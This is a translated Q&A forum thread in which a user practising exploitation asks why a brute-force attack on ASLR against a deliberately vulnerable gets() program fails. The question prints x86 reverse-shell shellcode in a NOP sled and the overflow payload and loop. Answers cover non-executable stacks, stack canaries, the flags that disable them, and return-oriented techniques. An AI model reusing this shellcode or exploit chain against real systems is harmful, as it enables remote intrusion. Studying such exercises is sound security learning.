【问题标题】:ASLR bruteforcingASLR 暴力破解
【发布时间】:2011-05-15 07:25:12
【问题描述】:

为了练习,我一直在尝试在我的机器上强制执行 ASLR 实现。首先,我确保 ASLR 已打开。

cat /proc/sys/kernel/randomize_va_space
1

我使用的机器是:-

bt ~ # uname -a
Linux bt 2.6.20-BT-PwnSauce-NOSMP #3 Sat Feb 24 15:52:59 GMT 2007 i686 pentium3 i386 GNU/Linux

我的程序很简单,如下。

bt ~ # cat t.c
#include<stdio.h>


int main(int argc, char **argv) {
char buffer[50];
gets(buffer);
return 0;
}

为了利用这一点,我创建了一个环境变量,如下所示。如您所见,它有一个非常大的 nop 雪橇,带有用于反向 shell 的漏洞利用代码。

export EGG=`perl -e 'print "\x90"x64000 . "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xac\x10\x00\x01\x66\x68\x11\x5c\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`

我使用以下C程序找出环境变量的地址:

int main(int argc, char **argv) {
printf("%p\n", getenv(argv[1]));
return 0;
}

我得到的地址是0xbfefadfd

我发现返回地址溢出需要76 bytes of something + 4 bytes of the return address。所以,为了蛮力我这样做:-

$ echo `perl -e 'print "A"x76 . "\xfd\xad\xef\xbf"'` > file
$ while true; do ./t < file; done

正如预期的那样,我得到了分段错误的日志,但是,即使在运行程序大约 30 分钟后,我也没有得到反向 shell。我在这里做错了什么?

【问题讨论】:

  • 答案是否与您的问题无关?
  • 它们是相关的,但是,它们并不能解决我的问题(不幸的是)。我对所有答案都投了赞成票,因为它们提供了有效的解释,但我无法选择任何答案。
  • 您是否检查过堆栈是否可执行,在调试器下运行应用程序?

标签: c security buffer-overflow brute-force aslr


【解决方案1】:

您必须考虑一些事项。 1. 你的 shellcode 必须与你的架构相匹配。 (这很容易测试)。 2. 因为你把你的shellcode放在栈上,你必须确保栈是可执行的。 实现此目的的一种方法是使用“-z execstack”-flag 编译到 gcc。

此外,可能还有其他方法可能会增加您点击正确地址的机会。

【讨论】:

    【解决方案2】:

    可能是堆栈不可执行。您可以与readelf 联系。如果 GNU_STACK 部分未标记为可执行,则您的应用程序具有 NX 堆栈。

    顺便说一句,在这种情况下有更好的方法来击败 ASLR。

    您可以做的是返回到地址未被 ASLR 更改的 .text 部分。 pop-ret, pop-pop-ret 会弹出堆栈,直到您达到一些“可用”值。可用的东西是高度情境化的。通常,您会寻找指向输入字符串、环境变量等的指针。

    此外,面向返回的编程 (ROP) 是当今的流行词。看看吧。

    【讨论】:

      【解决方案3】:

      我不知道你在哪个平台上尝试这个,但很可能除了 ASLR 之外,你的 gcc 默认也使用堆栈金丝雀/保护。使用 -fno-stack-protector 禁用此编译。

      【讨论】:

      • 它的 linux 是 2.6 内核,我使用的是旧版本的 gcc(不提供堆栈保护)
      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2017-07-04
      • 2011-03-28
      • 1970-01-01
      • 2023-03-12
      • 2022-01-15
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多